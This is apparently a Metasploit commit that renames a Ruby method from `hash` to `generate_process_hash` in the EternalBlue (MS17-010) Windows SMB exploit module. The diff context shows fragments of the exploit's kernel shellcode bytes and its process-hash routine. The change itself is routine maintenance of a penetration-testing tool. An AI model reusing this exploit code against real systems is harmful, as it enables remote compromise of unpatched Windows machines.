Rename `hash` to `generate_process_hash`

In the interest of compatibility this uses a more descriptive name for
the process hash creation method instead of overriding ruby's hash method.
See https://docs.ruby-lang.org/en/2.0.0/Hash.html

modules/exploits/windows/smb/ms17_010_eternalblue.rb

@@ -591,7 +591,7 @@ class MetasploitModule < Msf::Exploit::Remote
     sc
   end
 
-  def hash(process)
+  def generate_process_hash(process)
     # x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
     proc_hash = 0
     process << "\x00"
@@ -638,7 +638,7 @@ class MetasploitModule < Msf::Exploit::Remote
     "\x81\xF9\x00\x00\x01\x00\x0F\x8D\x66\x01\x00\x00\x4C\x89\xF2\x89" +
     "\xCB\x41\xBB\x66\x55\xA2\x4B\xE8\xBC\x01\x00\x00\x85\xC0\x75\xDB" +
     "\x49\x8B\x0E\x41\xBB\xA3\x6F\x72\x2D\xE8\xAA\x01\x00\x00\x48\x89" +
-    "\xC6\xE8\x50\x01\x00\x00\x41\x81\xF9" + hash(proc_name.upcase) + "\x75\xBC\x49" +
+    "\xC6\xE8\x50\x01\x00\x00\x41\x81\xF9" + generate_process_hash(proc_name.upcase) + "\x75\xBC\x49" +
     "\x8B\x1E\x4D\x8D\x6E\x10\x4C\x89\xEA\x48\x89\xD9\x41\xBB\xE5\x24" +
     "\x11\xDC\xE8\x81\x01\x00\x00\x6A\x40\x68\x00\x10\x00\x00\x4D\x8D" +
     "\x4E\x08\x49\xC7\x01\x00\x10\x00\x00\x4D\x31\xC0\x4C\x89\xF2\x31" +